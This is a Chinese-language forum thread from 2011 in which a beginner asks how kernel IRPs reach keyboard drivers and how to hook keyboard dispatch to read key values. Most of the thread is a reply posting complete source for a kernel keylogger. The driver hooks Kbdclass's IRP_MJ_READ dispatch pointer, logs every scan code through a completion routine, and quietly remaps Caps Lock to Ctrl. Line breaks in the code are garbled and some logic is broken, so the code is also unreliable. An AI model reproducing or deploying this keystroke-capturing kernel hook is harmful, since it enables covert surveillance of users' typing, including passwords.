高分悬赏——原理

GJ1079031226 2011-03-01 08:05:10
各位,今天本菜鸟高分悬赏,希望有准确解答我的问题的大神,分数尽数奉上,蹭分者靠边。
最近在入门内核程序设计,碰到一个问题,系统的一个请求IRP在总线中传递,往往要传递n次,每传递一次都会有一些“中间信息”写入IPR的一个可变输入信息的栈空间此时IRP->CurrentLocation就记录着目前使用的占空间。
我想问的是,一个IRP是否会流过所有的驱动对象,那么每个驱动对象的分发函数是怎么知道这个IRP就是创递给自己的呢?是不是通过读取IRP这个栈里的相关信息的呢?
比方说,我现在自己写一个键盘驱动的分发函数,怎样实现过滤发给自己的IRP,放弃不是发给自己的IRP?
...全文
92 6 打赏 收藏 转发到动态 举报
写回复
用AI写文章
6 条回复
切换为时间正序
请发表友善的回复…
发表回复
yiyefangzhou24 2011-03-02
  • 打赏
  • 举报
回复
给你这个的代码

#include <wdm.h>
#include <ntddkbd.h>
#include "IRPKlog.h"

//要获取的设备驱动名
#define KBD_DRIVER_NAME L"\\Driver\\Kbdclass"
//保存原有分发函数指针
PDRIVER_DISPATCH OldDispatchRead;
//保存键盘驱动设备对象
PDRIVER_OBJECT KbdDriverObject;
//未完成的IRP数目,不跟踪的话卸载驱动时会死得很难


int numPendingIrps = 0;
extern POBJECT_TYPE IoDriverObjectType;
//保存当前pending的IRP 用于卸载时取消
PIRP PendingIrp = NULL;

BOOLEAN
CancelKeyboardIrp(IN PIRP Irp)
{
if (Irp == NULL)
{
DbgPrint( "CancelKeyboardIrp: Irp error\n" );
return FALSE;
}

//
// 这里有些判断不是必须的,不过还是小心点好
//
if ( Irp->Cancel || Irp->CancelRoutine == NULL )
{
DbgPrint( "Can't Cancel the irp\n" );
return FALSE;
}

if ( FALSE == IoCancelIrp( Irp ) )
{
DbgPrint( "IoCancelIrp() to failed\n" );
return FALSE;
}

//
// 取消后重设此例程为空
//
IoSetCancelRoutine( Irp, NULL );
return TRUE;
}

//驱动卸载函数



VOID Unload( IN PDRIVER_OBJECT pDriverObject)
{
PDEVICE_OBJECT pDeviceObj;
LARGE_INTEGER lDelay;
PRKTHREAD CurrentThread;

//delay some time
lDelay = RtlConvertLongToLargeInteger(100 *

DELAY_ONE_MILLISECOND);
CurrentThread = KeGetCurrentThread();
// 把当前线程设置为低实时模式,以便让它的运行尽量

少影响其他程序。
KeSetPriorityThread(CurrentThread,

LOW_REALTIME_PRIORITY);
//还原IRP hook
InterlockedExchangePointer(&KbdDriverObject-

>MajorFunction[IRP_MJ_READ],OldDispatchRead);

// 如果还有IRP 未完成且当前IRP有效则尝试取消这个

IRP
pDeviceObj = pDriverObject->DeviceObject;
if (numPendingIrps > 0 && PendingIrp != NULL)
{
if (CancelKeyboardIrp(PendingIrp) ==

STATUS_CANCELLED)
{

DbgPrint( "成功取消IRP\n" );
goto __End;
}
}


DbgPrint("There are %d tagged IRPs

\n",numPendingIrps);
//DbgPrint("等待最后一个按键...\n");
while (numPendingIrps)
{
KeDelayExecutionThread(KernelMode, FALSE,

&lDelay);
}
__End:
DbgPrint("删除设备……\n");
IoDeleteDevice(pDeviceObj);
DbgPrint("Driver Unload OK!\n");
return;
}

//MJ_READ 的回调函数
NTSTATUS OnReadCompletion(
IN PDEVICE_OBJECT DeviceObject,
IN PIRP Irp,
IN PVOID Context
)
{
ULONG buf_len = 0;
PUCHAR buf = NULL;
size_t i,numKeys;
PKEYBOARD_INPUT_DATA KeyData;
PIO_STACK_LOCATION IrpSp =

IoGetCurrentIrpStackLocation(Irp);
// 如果这个请求是成功的。很显然,如果请求失败了,

这么获取
// 进一步的信息是没意义的
if( NT_SUCCESS( Irp->IoStatus.Status ) )
{
// 获得读请求完成后输出的缓冲区
buf = Irp->AssociatedIrp.SystemBuffer;
KeyData = (PKEYBOARD_INPUT_DATA)buf;
// 获得这个缓冲区的长度。一般的说返回值有多长都保

存在
// Information中。
buf_len = Irp->IoStatus.Information;
numKeys = buf_len / sizeof(KEYBOARD_INPUT_DATA);
//简单打印扫描码
for(i=0;i<numKeys;++i)
{
//DbgPrint("ctrl2cap: %2x\r\n", buf[i]);
DbgPrint("\n");
DbgPrint("numKeys : %d",numKeys);
DbgPrint("ScanCode: %x ", KeyData->MakeCode );
DbgPrint("%s\n", KeyData->Flags ?"Up" : "Down" );
print_keystroke((UCHAR)KeyData->MakeCode);

if( KeyData->MakeCode == CAPS_LOCK)
{
KeyData->MakeCode = LCONTROL;
}
}
}
DbgPrint("Entering OnReadCompletion Routine...

\n");
//完成一个IRP
numPendingIrps--;

if( Irp->PendingReturned )
{
IoMarkIrpPending( Irp );
}

//调用原来的完成函数,如果有的话
if ((Irp->StackCount > (ULONG)1) && (Context !=

NULL))
{
return ((PIO_COMPLETION_ROUTINE)Context)

(DeviceObject, Irp, NULL);
}
else
{
return Irp->IoStatus.Status;
}
}

//新的分发函数
NTSTATUS NewDispatchRead(IN PDEVICE_OBJECT

pDeviceObject, IN PIRP pIrp)
{

//DbgPrint("Entering NewDispatchRead Routine...

\n");
//设置完成函数
PIO_STACK_LOCATION irpSp;
irpSp = IoGetCurrentIrpStackLocation(pIrp);

irpSp->Control =
SL_INVOKE_ON_SUCCESS|
SL_INVOKE_ON_ERROR|
SL_INVOKE_ON_CANCEL;

//irpSp->Control = SL_INVOKE_ON_SUCCESS;
//保留原来的完成函数,如果有的话
irpSp->Context = irpSp->CompletionRoutine;
irpSp->CompletionRoutine =

(PIO_COMPLETION_ROUTINE)OnReadCompletion;
DbgPrint("已设置回调函数...\n");
//递增未完成的IRP数目
numPendingIrps++;
if (numPendingIrps > 0)
{
PendingIrp = pIrp;
}
return OldDispatchRead(pDeviceObject,pIrp);
}





NTSTATUS DriverEntry(IN PDRIVER_OBJECT

pDriverObject,IN PUNICODE_STRING RegistryPath)
{
NTSTATUS status = 0;
UNICODE_STRING KbdNameString;
PDEVICE_OBJECT pDeviceObject;

DbgPrint("IRP Hook Keyboard Logger --DriverEntry

\n");
// 初始化Kdbclass驱动的名字
RtlInitUnicodeString(&KbdNameString,

KBD_DRIVER_NAME);
//就这个程序而言,不需要创建设备及链接

status = IoCreateDevice(
pDriverObject,
0, //暂时设为0
NULL, //不用名字先
FILE_DEVICE_UNKNOWN,
0,
TRUE, //设为TRUE表示驱动独占,多数为FALSE
&pDeviceObject
);
if (!NT_SUCCESS(status))
{
DbgPrint("Create device error!\n");
return status;
}

//设置驱动卸载函数
pDriverObject->DriverUnload = Unload;
//获取驱动设备对象
status = ObReferenceObjectByName(
&KbdNameString,
OBJ_CASE_INSENSITIVE,
NULL,
0,
IoDriverObjectType,
KernelMode,
NULL,
&KbdDriverObject //保存得到的设备对象
);
if (!NT_SUCCESS(status))
{
//如果失败
DbgPrint("Couldn't get the kbd driver object\n");
return STATUS_UNSUCCESSFUL;
}
else
{
//解除引用
ObDereferenceObject(KbdDriverObject);
}
OldDispatchRead = KbdDriverObject->MajorFunction

[IRP_MJ_READ];
//原子交换操作
InterlockedExchangePointer(&KbdDriverObject-

>MajorFunction[IRP_MJ_READ],NewDispatchRead);
return status;
}
yiyefangzhou24 2011-03-02
  • 打赏
  • 举报
回复
[Quote=引用 3 楼 gj1079031226 的回复:]
哦,有点明白。
目前情况是这样的,我现在想hook键盘驱动的分发函数,这个容易,就是hook下了之后不知道咋办,我想实现的功能是获得键值,应该hook驱动对象的那个函数,挂钩之后应该怎样处理IRP?
[/Quote]
我最近也在做这类的东西,所要hook的函数可以由InterlockedExchangePointer来定,hokk之后无非就是挂钩了IRp然后等待IRP的执行完成然后从KEYBOARD_INPUT_DATA中读取键值
GJ1079031226 2011-03-02
  • 打赏
  • 举报
回复
哦,有点明白。
目前情况是这样的,我现在想hook键盘驱动的分发函数,这个容易,就是hook下了之后不知道咋办,我想实现的功能是获得键值,应该hook驱动对象的那个函数,挂钩之后应该怎样处理IRP?
yxwsbobo 2011-03-01
  • 打赏
  • 举报
回复
一个IRP 是不会流过所有驱动对象的,太没效率了,更没意义



IRP 是一层一层的向下传递,也就是说同一层可能有多个设备,但只有一个设备会接受此IRP,就向下传递了


是一个数状结构,在同一条根上的设备都会接受此IRP. 将设备附加到键盘设备上,那么你所接受到的所有IRP 都是和键盘相关的
GJ1079031226 2011-03-01
  • 打赏
  • 举报
回复
没有人我自顶

3,881

社区成员

发帖
与我相关
我的任务
社区描述
C/C++ 其它技术问题
社区管理员
  • 其它技术问题社区
加入社区
  • 近7日
  • 近30日
  • 至今
社区公告
暂无公告

试试用AI创作助手写篇文章吧